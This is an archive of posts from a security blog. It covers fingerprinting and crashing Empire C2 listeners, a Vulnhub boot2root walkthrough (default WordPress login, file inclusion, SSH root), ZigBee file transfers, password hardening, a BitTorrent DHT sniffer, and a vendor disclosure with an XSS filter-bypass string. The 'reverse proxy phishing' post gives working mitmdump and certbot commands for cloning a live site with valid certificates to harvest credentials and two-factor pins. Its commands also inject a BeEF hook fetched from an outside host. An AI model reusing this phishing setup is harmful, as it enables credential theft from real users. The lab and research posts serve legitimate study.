Wednesday, April 5, 2017

Hunting Red Team Empire C2 Infrastructure

Introduction

While playing around with setting up my C2 nodes and redirectors for an engagement, I decided to start poking around at both Empire and Meterpreter's default setups. The end goal of this project was to be able to positively identify nodes on the Internet that are being used actively by attackers or Red Teams with little to no scope filtering. The results were interesting, and the first time investigating revealed over twenty easy to find C2 nodes running stock Empire or Meterpreter reverse http/s sessions.

History of Failure

Coding is difficult, even for hackers. Both Empire, and Metasploit projects have a history of Remote Code Execution vulnerabilities. Red Teams need to go to great lengths in order to keep people from compromising their crown jewels which includes active agents and client data.

Empire RCE
Metasploit RCE

Empire

Empire, now in beta for 2.0 includes both Powershell Empire as well as the python version Empyre. The Empire listener is based on BaseHTTPServer in Python and provides an extraction layer on top of it. Let's take a look at the HTTP headers that are present in default Empire configuration.

Empire Headers

Using the HTTP request of GET / HTTP/1.1, the following headers were returned.

HTTP/1.0 200 OK
Server: Microsoft-IIS/7.5
Date: Wed, 05 Apr 2017 18:26:10 GMT

The thing that stands out here is the general lack of headers that would normally be present in a request. Also, the fact that we used HTTP/1.1 as the protocol, but the reply is still for HTTP/1.0

Empire default page

<html><body><h1>It works!</h1><p>This is the default web page for this server.</p><p>The web server software is running but no content has been added, yet.</p></body></html>

Hashes of defaul page

MD5: 885ecd7910c988f1f15fcacca5e1734e
SHA1: b642227fbc703af1a67edb665241fc709ecd6f6e
SHA2: a58fb107072d9523114a1b1f17fbf5e7a8b96da7783f24d84f83df34abc48576

Finding Empire Listeners with Shodan

Shodan is a search engine for Security Researchers. They routinely scan common ports across the Internet, and make the data publicly available, and easily searchable. APIs are also provided for automating a lot of the tasks required.

Using the common headers, and default web page listed above, we are able to narrow down the list of possible Empire C2 nodes on the Internet with a simple query.

'Microsoft-IIS/7.5' 'It works!' -'Content-Type' -'Set-Cookie'

You'll notice that the results returned all are HTTP/1.0 with matching profiles that we scoped out above.

Finding an exception in Empire

The HTTP module in Empire is located in lib/common/http.py. Go ahead and use your favorite text editor to open that up, and have a look around at the code.

In the class RequestHandler and method do_GET we have the following piece of code for handling parsing of cookie data.

if cookie:
            # search for a SESSIONID value in the cookie
            parts = cookie.split(";")
            for part in parts:
                if "SESSIONID" in part:
                    # extract the sessionID value
                    name, sessionID = part.split("=")

Interesting.
name, sessionID = part.split("=")
If there is more than one equal sign in the cookie field, it'll continue to split on equal signs. That line should be this.
name, sessionID = part.split("=", 1)
In order to limit the number of items to one.

Let's go ahead and try to exploit this from the client side with the following request.

curl http://target:port --Cookie 'SESSIONID=id=id'

Curl will return the following error, because Python threw an exception upon parsing the cookies.

curl: (52) Empty reply from server

Changing default values

While executing a Red Team engagement, it's always a good idea to change the default values of tools that you use, whether it be a scanner or C2 infrastructure. This will make it harder for Blue Team elements to detect portions of your activity. You should also either utilize Empire's whitelisting feature or setup a Firewall in order to keep your test within scope. There is no excuse for leaving your C2 node exposed to the entire Internet.

You should have noticed while browsing http.py that the default page served is also located in that file in the function named default_page.

In order to change the default server name, you must edit the configuration in the empire.db file located in data/. Open it up by using sqlite3 data/empire.db. You can view the current setting by typing SELECT server_version from config;
In order to update it, something like the following will do the job.

update config set server_version = 'nginx' where server_version = 'Microsoft-IIS/7.5';

Going beyond Shodan

Scans.io is another great resource for looking at Internet-wide scans including those for HTTPS sites. The scan sets are huge, but offer a very current view of HTTPs servers across the globe. Data is in JSON format, and the default page is saved in base64 format within each node.

zgrep 'PGh0bWw+PGJvZHk+PGgxPkl0IHdvcmtzITwvaDE+PHA+VGhpcyBpcyB0aGUgZGVmYXVsdCB3ZWIgcGFnZSBmb3IgdGhpcyBzZXJ2ZXIuPC9wPjxwPlRoZSB3ZWIgc2VydmVyIHNvZnR3YXJlIGlzIHJ1bm5pbmcgYnV0IG5vIGNvbnRlbnQgaGFzIGJlZW4gYWRkZWQsIHlldC48L3A+PC9ib2R5PjwvaHRtbD4=' 20170221-https.gz > /tmp/results.json

This may take several minutes to run, as the datasets are generally several gigabytes in size. The result will be a file containing JSON data for each host that returned the default Empire HTML. You can parse this file and extract each IP address that should be tested, and then feed them into the script below.

Automating detection with Python

Use the following to run this script.

python3 empire_identifier.py 

Happy hunting, a future post will detail similar experiences with Meterpreter.

Saturday, April 1, 2017

hackfest2016: Quaoar - Vulnhub Walk Through

Introduction

This is the first boot2root box I’ll be tackling in a series of boot2roots I’ll be doing to learn. I chose this one because it’s new, it’s beginner stage, and it’s got some helpful hints on Vulnhub to get you started. I’ll be documenting my findings and doing a write up of every box I attempt to boot2root from Vulnhub or other sources. This is both for my benefit and others that might get stuck in the future. Beware that I will have spoilers in these as they show how I gained root on these boxes. I’m using Kali XFCE with 20 gigabytes of hard drive space and basic default settings from VMWare. Nothing to special. The host is a 2014 Macbook pro running the Intel i7 chip. Only the Kali and boot2root VM will be on the same network.

Enumeration

Nmap was one of the hints that the creator of this boot2root had mentioned to use so it’s where I started with. I almost always use the switches –Pn –sV –p1-65535 –A to start with on these boot2roots. Really deep dive the ports and grab headers. If this was a live pen test I likely wouldn’t make that much noise and would stick to top ports or try to find something more targeted from other sources first from pre-engagement. At any case the results of the nmap scan were as follows.
root@kali:~# nmap -Pn -sV -p1-65535 -A 172.16.13.128

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-03-24 08:29 CDT
Nmap scan report for 172.16.13.128
Host is up (0.00041s latency).
Not shown: 65526 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d0:0a:61:d5:d0:3a:38:c2:67:c3:c3:42:8f:ae:ab:e5 (DSA)
|   2048 bc:e0:3b:ef:97:99:9a:8b:9e:96:cf:02:cd:f1:5e:dc (RSA)
|_  256 8c:73:46:83:98:8f:0d:f7:f5:c8:e4:58:68:0f:80:75 (ECDSA)
53/tcp  open  domain      ISC BIND 9.8.1-P1
| dns-nsid: 
|_  bind.version: 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_Hackers
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: UIDL STLS SASL CAPA TOP RESP-CODES PIPELINING
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: capabilities STARTTLS more listed IDLE OK LOGIN-REFERRALS post-login Pre-login ENABLE ID LOGINDISABLEDA0001 LITERAL+ IMAP4rev1 SASL-IR have
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
|_imap-capabilities: AUTH=PLAINA0001 more listed IDLE OK LOGIN-REFERRALS post-login capabilities ENABLE ID Pre-login LITERAL+ IMAP4rev1 SASL-IR have
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
995/tcp open  ssl/pop3    Dovecot pop3d
|_pop3-capabilities: UIDL USER SASL(PLAIN) CAPA TOP RESP-CODES PIPELINING
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
MAC Address: 00:0C:29:C7:5D:11 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: , NetBIOS MAC:  (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.6.3)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP
|_  System time: 2017-03-24T09:30:07-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 172.16.13.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.23 seconds
From nmap we know that we have port 80 open, so next I went to the web browser to see what I could physically see. Nothing of interest there, so I went to DirBuster next as it was hinted to use from the description on VulnHub. I ran DirBuster with the url of http://172.x.x.x:80 and navigated to /usr/share/dirbuster/wordlist/directory-list-1.0.txt. I let this run for 1-2 hours. Once I started seeing the wordpress stuff I figured that’s more or less what the creator wanted me to find to pivot to another tool.
The next tool I will pivot to is wpscan. This will help us determine any vulnerabilities in the plugins and find all directories, themes, and plugins associated with the wordpress server. First lets make sure the database is up to date with a wpscan –update. Next is to run the actual wpscan agains the wordpress site ‘wpscan –url 172.16.13.128/wordpress’. I had to add the /wordpress because that’s where the wordpress site begins. This gives me some useful information about themes and plugins available.
[+] URL: http://172.16.13.128/wordpress/
[+] Started: Fri Mar 24 15:09:59 2017

[!] The WordPress 'http://172.16.13.128/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.2.22 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.3.10-1ubuntu3
[+] XML-RPC Interface available under: http://172.16.13.128/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://172.16.13.128/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://172.16.13.128/wordpress/wp-includes/

[+] WordPress version 3.9.14 (Released on 2016-09-07) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 8 vulnerabilities identified from the version number

[!] Title: WordPress 2.9-4.7 - Authenticated Cross-Site scripting (XSS) in update-core.php
    Reference: https://wpvulndb.com/vulnerabilities/8716
    Reference: https://github.com/WordPress/WordPress/blob/c9ea1de1441bb3bda133bf72d513ca9de66566c2/wp-admin/update-core.php
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5488
[i] Fixed in: 3.9.15

[!] Title: WordPress 3.4-4.7 - Stored Cross-Site Scripting (XSS) via Theme Name fallback
    Reference: https://wpvulndb.com/vulnerabilities/8718
    Reference: https://www.mehmetince.net/low-severity-wordpress/
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/ce7fb2934dd111e6353784852de8aea2a938b359
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5490
[i] Fixed in: 3.9.15

[!] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default
    Reference: https://wpvulndb.com/vulnerabilities/8719
    Reference: https://github.com/WordPress/WordPress/commit/061e8788814ac87706d8b95688df276fe3c8596a
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5491
[i] Fixed in: 3.9.15

[!] Title: WordPress 2.8-4.7 - Accessibility Mode Cross-Site Request Forgery (CSRF)
    Reference: https://wpvulndb.com/vulnerabilities/8720
    Reference: https://github.com/WordPress/WordPress/commit/03e5c0314aeffe6b27f4b98fef842bf0fb00c733
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5492
[i] Fixed in: 3.9.15

[!] Title: WordPress 3.0-4.7 - Cryptographically Weak Pseudo-Random Number Generator (PRNG)
    Reference: https://wpvulndb.com/vulnerabilities/8721
    Reference: https://github.com/WordPress/WordPress/commit/cea9e2dc62abf777e06b12ec4ad9d1aaa49b29f4
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5493
[i] Fixed in: 3.9.15

[!] Title: WordPress 3.5-4.7.1 - WP_Query SQL Injection
    Reference: https://wpvulndb.com/vulnerabilities/8730
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/
    Reference: https://github.com/WordPress/WordPress/commit/85384297a60900004e27e417eac56d24267054cb
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5611
[i] Fixed in: 3.9.16

[!] Title: WordPress 3.6.0-4.7.2 - Authenticated Cross-Site Scripting (XSS) via Media File Metadata
    Reference: https://wpvulndb.com/vulnerabilities/8765
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/28f838ca3ee205b6f39cd2bf23eb4e5f52796bd7
    Reference: https://sumofpwn.nl/advisory/2016/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html
    Reference: http://seclists.org/oss-sec/2017/q1/563
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6814
[i] Fixed in: 3.9.17

[!] Title: WordPress 2.8.1-4.7.2 - Control Characters in Redirect URL Validation
    Reference: https://wpvulndb.com/vulnerabilities/8766
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/288cd469396cfe7055972b457eb589cea51ce40e
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6815
[i] Fixed in: 3.9.17

[+] WordPress theme in use: twentyfourteen - v1.1

[+] Name: twentyfourteen - v1.1
 |  Location: http://172.16.13.128/wordpress/wp-content/themes/twentyfourteen/
[!] The version is out of date, the latest version is 1.9
 |  Style URL: http://172.16.13.128/wordpress/wp-content/themes/twentyfourteen/style.css
 |  Referenced style.css: wp-content/themes/twentyfourteen/style.css
 |  Theme Name: Twenty Fourteen
 |  Theme URI: http://wordpress.org/themes/twentyfourteen
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Finished: Fri Mar 24 15:10:02 2017
[+] Requests Done: 48
[+] Memory used: 17.445 MB
[+] Elapsed time: 00:00:02

So from wpscan we now know it’s running the default Wordpress theme of twentyfourteen. It also gives us some other useful information as in what version of Wordpress is running, known vulnerabilities for themes, versions, plugins, etc. But lets try to enumerate users to see if we can’t dig a little deeper. Lets use wpscan again for this ‘wpscan –url 172.16.13.128/wordpress –enumerate u’
[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
    +----+--------+--------+
    | Id | Login  | Name   |
    +----+--------+--------+
    | 1  | admin  | admin  |
    | 2  | wpuser | wpuser |
    +----+--------+--------+
[!] Default first WordPress username 'admin' is still used

Gaining Access


Interesting! Still using default ‘admin’ account. Wonder if that password has been reset from the default or if it’s using a weak password. Lets check on the wp-login.php page. 172.16.13.128/wordpress/wp-login.php with username ‘admin’ and password ‘admin’. Looks like the password worked! So lets explore just incase wpscan missed anything. Looks like we have 2 plugins of ‘hello dolly’ and ‘mail masta’. A quick google reviels that Mail Masta has a Local File Inclusion exploit associated with it and gives a PoC (proof of concept). Lets give it a try and see if we cannot find the
/etc/passwd file. 

BINGO! Alright so now we’ve got a list of users on this box we can try to brute force against or should we dive slightly deeper? Maybe also get /etc/shadow? Well that didn’t quite work, so lets look for more low hanging fruit. Lets see what useful information is in /etc/passwd. In this file we have some great information that goes like this
username:password:UserID:GroupID:Comment:HomeDir:UserShell

Great! So do we have any that have password listed or are the ally ‘x’ meaning that it’s being pulled from shadow file? Nope, doesn’t look that way. So we know that WordPress was pretty default and it looks like one of our users is wpadmin. Lets try and see if we can ssh into that with a default/weak password.
root@kali:/usr/share/dirbuster/wordlists# ssh wpadmin@172.16.13.128
wpadmin@172.16.13.128's password: 
Permission denied, please try again.
wpadmin@172.16.13.128's password: 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sat Mar 25 07:45:42 EDT 2017

  System load:  0.12              Processes:           108
  Usage of /:   37.6% of 7.21GB   Users logged in:     0
  Memory usage: 25%               IP address for eth0: 172.16.13.128
  Swap usage:   11%

  Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Oct 22 23:03:05 2016 from 192.168.1.26
$

BOOM! We’re in and got our first shell! Lets see where we’re at and what’s in this directory.
$ pwd
/home/wpadmin
$ ls
flag.txt
$ cat flag.txt
2bafe61f03117ac66a73c3c514de796egoo

Privilege Escalation


Ok so now what we have a shell we need to get some privilege escalation. One of the first places I tend to look is in the cron jobs to see what is running.
wpadmin@Quaoar:~$ pwd
/home/wpadmin
wpadmin@Quaoar:~$ cd /etc/cron.
cron.d/       cron.daily/   cron.hourly/  cron.monthly/ cron.weekly/  
wpadmin@Quaoar:~$ cd /etc/cron.d
wpadmin@Quaoar:/etc/cron.d$ ls
php5

So it looks like we have some stuff in cron.d which was first on the list. So lets take a look at whats in php5 file.
wpadmin@Quaoar:/etc/cron.d$ cat php5
# /etc/cron.d/php5: crontab fragment for php5
#  This purges session files older than X, where X is defined in seconds
#  as the largest value of session.gc_maxlifetime from all your php.ini
#  files, or 24 minutes if not defined.  See /usr/lib/php5/maxlifetime
# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de
# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir fuser -s {} 2>/dev/null \; -delete

What's that? Is that another hidden flag? "# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de". Interesting... Upon further reading of others walk throughs I confirmed that this is indeed the 3rd flag but we've still yet to get any privilege escalation so lets continue on.

So we know it's running a WordPress site and we know it's running Apache. So lets take a look at what's in /var/www/ to see if we find any hidden gems.
wpadmin@Quaoar:/$ cd var/www/
wpadmin@Quaoar:/var/www$ ls
CHANGELOG    index.html
COPYING     INSTALL
hacker-manifesto-ethical.jpg  LICENSE
hacking.jpg    pososibo-ethical-hacking-hack-fond.jpg
hack-planet-1280-amox-zone.jpg  Quaoar.jpg
hack-planet-high-definition-mobile.jpg README.md
Hack_The_Planet2.jpg   robots.txt
Hack_The_Planet3.jpg   tomcat6-tomcat6-tmp
Hack_The_Planet.jpg   upload
hsperfdata_tomcat6   wordpress

Hmm lets cat through some of these files and see what's in them. Seems we have a lot of files to comb over so lets make this a little easier. What I ended up doing was using "grep" to look through multiple files at once.
wpadmin@Quaoar:/var/www$ grep "root" * -R | less

This allows us to look through all the files recursively for "root". Piping to less so we can comb over it all. I also went a step further and used some regex on less to look for "root:" which I suppose I could have done during the grep. I had to really comb over it since it was going through quite a few files but eventually I spotted this


Looks like 'root' has the password 'rootpassword!' so lets give that a try.



That's it! We got all 3 flags at this point. Hope you enjoyed this walk through.

Thursday, March 30, 2017

Reverse proxy phishing with valid certificates

Introduction

This is going to be a quick down and dirty post on how to effectively create cloned websites on the fly by using mitmdump and letsencrypt for valid certificates. We'll use a reverse proxy in front of a site in order to create very convincing and advanced phishing campaign. This is a great way to capture two factor authentication pins and attempt automatic VPN logins.

Acquire a domain

There are plenty of different approaches when it comes to acquiring a domain for your phish. Ideally, you will want it to be very similar to your target. Alternative TLDs are an easy way to make convincing phishing attacks. You may also look into recently expired domains that can be acquired. For this tutorial, I'm going to set up blog.chokepoint.net instead of purchasing a domain for demonstration sake, and demonstrate a phish by setting up a reverse proxy for shodan.io.

CatMyFish is an excellent tool that relies on expireddomains.net in order to find potential expired domains.

Lets Encrypt!

Let's encrypt is a free, automated, and open CA that's available to anyone that owns a domain or subdomain. They have done a lot of work in helping to create secure connections for millions of websites. While they provide a great and legitimate service, it's often abused by criminals and red teams as well. Certbot is a cross platform tool for validating that you do indeed own a domain prior to issuing any certificates.

Download certbot

$ wget https://dl.eff.org/certbot-auto
$ chmod a+x certbot-auto
$ ./certbot-auto

Now simply run the following command, and choose "Spin up a temporary webserver (standalone)"

$ ./certbot-auto certonly

Follow the prompts for your e-mail address and domain as appropriate. Your certificates will be placed in /etc/letsencrypt/live/site.domain.here. In order to prepare the certificates for use with out reverse proxy MITM attack, simply concatenate the private key and fullchain certificates into one file.

$ sudo cat /etc/letsencrypt/live/blog.chokepoint.net/privkey.pem /etc/letsencrypt/live/blog.chokepoint.net/fullchain.pem > blog.chokepoint.net.pem

Download latest mitmproxy

Mitmproxy recently went through some large upgrade that may not have made it into your distribution's repository list yet. We'll go ahead and grab 0.18.2 using pip, as some features regarding the certificates seem to be broken in 2.* versions.

$ sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
$ sudo pip3 install mitmproxy==0.18.2

Execute reverse proxy attack

$ sudo mitmdump -R https://www.shodan.io -p 443 --no-upstream-cert --cert blog.chokepoint.pem -w blog.log
Notice how the URL bar has the green Secure logo and all.

Going Beyond

Here are two scripts that will help in dumping credentials as well as an example script for injecting BEEF hooks into sessions passing through the MITM.

Dumping credentials

Beef injection

Running scripts

In order to execute scripts, use the -s option in mitmdump. For example:
$ sudo mitmdump -R https://www.shodan.io -p 443 --no-upstream-cert --cert blog.chokepoint.pem -s ./dump_creds.py -w blog.log
$ sudo mitmdump -R https://www.shodan.io -p 443 --no-upstream-cert --cert blog.chokepoint.pem -w blog.log -s "beef_injector.py http://beef.chokepoint.net:3000/hook.js"

Sunday, February 8, 2015

ZigBee File Transfers and Advanced Fun Using Andrena

Introduction

ZigBees are small, low cost, low powered wireless modules often seen in home automation applications. With their relatively low power consumption, and purported 1 mile range (line of sight using the PRO modules), their possible uses are only limited by your imagination. Configuration is simple, and as long as two modules are configured with the same channel, PAN ID, and encryption key (if in use), the modules will immediately sync up. Communication is generally serial, and you can easily setup a terminal attached to a ZigBee device and login remotely or send simple streams of data.

Requirements

I needed some advanced features for a project that I have been working on.

  • Central Communication Handler (One to many)
  • Asynchronously deal with various agent modules
  • Additional layer of encryption
  • Support for multiple stream types
    • File Transfers
    • Announcements
    • Targeted Commands

This led me to developing my own protocol from scratch. The protocol, while not completely implemented already supports a Diffie Hellman key exchange between agents and the handler providing forward secrecy. File transfers currently work, and I will be adding features as I have time and require them.

The protocol

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+---------------------------------------------------------------+
|      Type     |   Stream Id   |      Flags    |     Length    |
+---------------------------------------------------------------+
|                             Seq Num                           |
+---------------------------------------------------------------+
|                               Tag                             |
+---------------------------------------------------------------+
|                             Payload...                        |
+---------------------------------------------------------------+

The tag is a four byte HMAC for the packet. Negotiations are HMACed with a pre shared key setup in the access control list between handler and agents. This helps mitigate the man in the middle threat. Yes, I know that a four byte HMAC and 4 byte unique counter is very small, and this was by design. The limitation of 98 bytes (plus 2 byte destination header) was the main consideration for this choice. The counter isn't as big of an issue, as you can always renegotiate a key once the possible list of IVs has been exhausted. This will be added in later releases.

Andrena

The source is available on Github

Disclaimer

This is still very much in the experimental phase. I have seen some people asking about file transfers with ZigBees, so I decided to publish the work that I have completed so far. If you see any outstanding issues with the crypto or code, please express your anger in the form of a pull request. Stay tuned on github for additional updates.

Wednesday, October 22, 2014

Your password doesn't suck, the server does

Outline

I read an article the other day that outlined the exact issue with passwords nowadays. Every website or application that requires a password always talks about the user creating a complex password. You know the routine:

    1 capital letter
    1 number
    1 special character
    no repeating characters
etc.

In this article I will outline why it's not your password that is insecure but rather admins not securing their code and/or servers well enough.

What complex passwords protect against

There are only two things a complex password actually helps protect against.

    Brute force attacks
    Dictionary attacks
Brute force attacks are pretty easily circumvented by adding a maximum password attempt before locking the account out. This is assuming that it is not an offline brute force attack, but we'll get to this later in the article. As for Dictionary attacks, that's easy circumvented by adding just an alpha/numeric into the password. So essentially a password as simple as password123 is a "secure" password; albeit it's something that could be easily guessed.

Offline brute force attacks

Offline brute force attacks are done by the attacker either having physical access to the server or the sever was not secure and the user was able to extract the password file. Which back to the title would tell me your password doesn't suck because the attacker should have never gotten to the point of getting the password file. Which leads me to my next point

Hybrid Attacks

Hybrid attacks complicate the "complex password" again by using standard dictionary attacks and adding numbers and symbols to them. And while this can take longer to crack, with the given technology even with a 15 character password can take less than an hour to crack offline.

Password Mangling attacks

If you've ever dealt with end users you know their passwords are very basic. Usually something simple that they add a number to the end, typically the current year or month. Password mangling is taking a dictionary attack, and adding rules to those lists. For instance adding a number to the end of basic password (i.e. - Summer to Summer14). Which can make cracking most typical user passwords very easy to crack. Again this can be circumvented by having strong server side security.

Encryption

If servers are saving your password on the server in plaintext, there's absolutely zero reason to have a password. Which is a huge indication that the administrator has no idea what security is let alone how to use it.

End user problems

Saving your password on a piece of paper, or a text file. This is a no-no but with how many different passwords we need these days, and all have different requirements it's almost become impossible to remember all passwords. If there was more security on server side, there could be a standard for passwords that would make it easier to remember, especially if using common password for multiple websites/applications.

Other issues end users can face are a bit tougher to tackle such as spyware/malware/keyloggers. However going to back to server security we could see at least a 25% drop in drive-by malware/spyware if servers were more secure. While I'm a big advocate of "If it can be built it can be broken", I still believe we can get rid of at minimum 25%.

Virus definitions or signatures are what the anti-virus program looks at to determine if it's malicious piece of code or not. These definitions are so easy to get around based on how the programmer codes it. By reverse engineering and looking at both virus signature definitions and actual code of the virus we can easy stop more and more malicious software; albeit the more signatures there are the more false positives can be had as well.

Sever hardening

So what can be done server side to prevent having to have strong complex passwords?

Password attempt rules

Adding the security of locking out an account after x amount of failed password attempts fixes the issue with brute forcing the server. However it can't start and stop at the surface. There are many components especially server side that will need to be locked down the same. SQL server, Web App, Web Server root account, SSH, Telnet, etc. Anything that requires a log on for the server needs to be locked down with a lockout rule.

Default Accounts

This is one of my pet peves and something that is often over looked. Far to often a system gets compromised because of default username/password not being changed. I believe it was Target that was a victim of their SQL database being compromised due to default password being used on the server side. All default accounts should be disabled or removed and a new one created.

Conclusion

I could go into a lot more depth of how to properly secure a server but this article is not a how-to but rather an insight as to what common problems are with password security and why it's not your password that is horrible but instead the server and admins that are. Following best practices and learning basic server hardening can circumvent a lot of security breaches, and need for complex passwords.

Friday, September 5, 2014

Sniffing BitTorrent DHT Traffic

Introduction

I've been playing with some of the protocols that power BitTorrent recently just for my own knowledge. While digging into the Distributed Hash Table, I decided to whip up a quick packet sniffer to decode the queries and responses. This gives a quick insight into how your client is interacting with the nodes around it.

The Source

Joining the Swarm

The code is available on github. The default monitoring port is 51413 (default for transmission). Consult your client's documentation or use lsof to find the listening port.

$ lsof -i | grep UDP
transmiss   999 debian-transmission   12u  IPv4 16474843      0t0  UDP *:51413
$ sudo python dht_sniff.py 51413
127.0.0.1:51413 -> 127.0.0.1:6969 (94 bytes): {'a': {'id': '\xab/Da\xcd\x7f\xbcI\xef[E\\\x88m6\xae\xab\xbd<\xd6', 'target': "\x12\x34\\'\xab5\xfbGj\x96M\x15\xce\xad\x91@\xb9' E"}, 'q': 'find_node', 't': 'fn\x00\x00', 'y': 'q'}

Going Beyond

I didn't implement it yet, but decoding the node list returned by find_node and get_peers is relatively straight forward. This would give an even more in depth look at how your client / nodes around you are communicating. Refer to the documentation above for how node lists are constructed and returned.

Wednesday, August 6, 2014

Tomatocart: ECommerce Devs and Dishonest Incompetence

I would rather not make such a post, but in this particular case, a vendor has forced my hand.

Recently I submitted two vulnerabilities to the developers of tomatocart, CVE-2014-3978 and CVE-2014-3830 (SQL injection and XSS). When I submitted these vulnerabilities, I requested that they send me a patch for pre-approval because of the complexity of the exploits, to which they agreed.

They responded with an ineffective patch via email, which I informed them was ineffective and I even had the software architect at the company I work for write them a detailed report on the matter. While they had claimed that they would let us pre-approve the patch, they published it against our advice and disregarded all future emails that their patch was ineffective, even the multi-page report the architect wrote.

If you read the vulnerability details for the SQL injection, you will clearly see that no amount of escaping single quotes will fix this as there are no single quotes in the exploit at all.

The XSS vulnerability is also not properly patched by JYin's patch. Because of unsafe string replacement, it is possible to force a tag through the sanitize function like so:

echo sanitize("<s<html>cr</html>ipt>");

This will result in a script tag being added anyway.

A pull request was sent to the tomatocart github, which they have ignored thus far.

Jack Yin (tomatocart developer) has yet to implement proper security practice and has disregarded our emails throughout this process as if he knew better when he did not. As such, he has demonstrated such a lack of competence that we must recommend that all TomatoCart users immediately migrate to another ecommerce solution, as the developers are not competent or committed to security.

I never enjoy writing this type of post; but to protect the consumer from lackadaisical vendors, it has to be done. Sorry, Jack.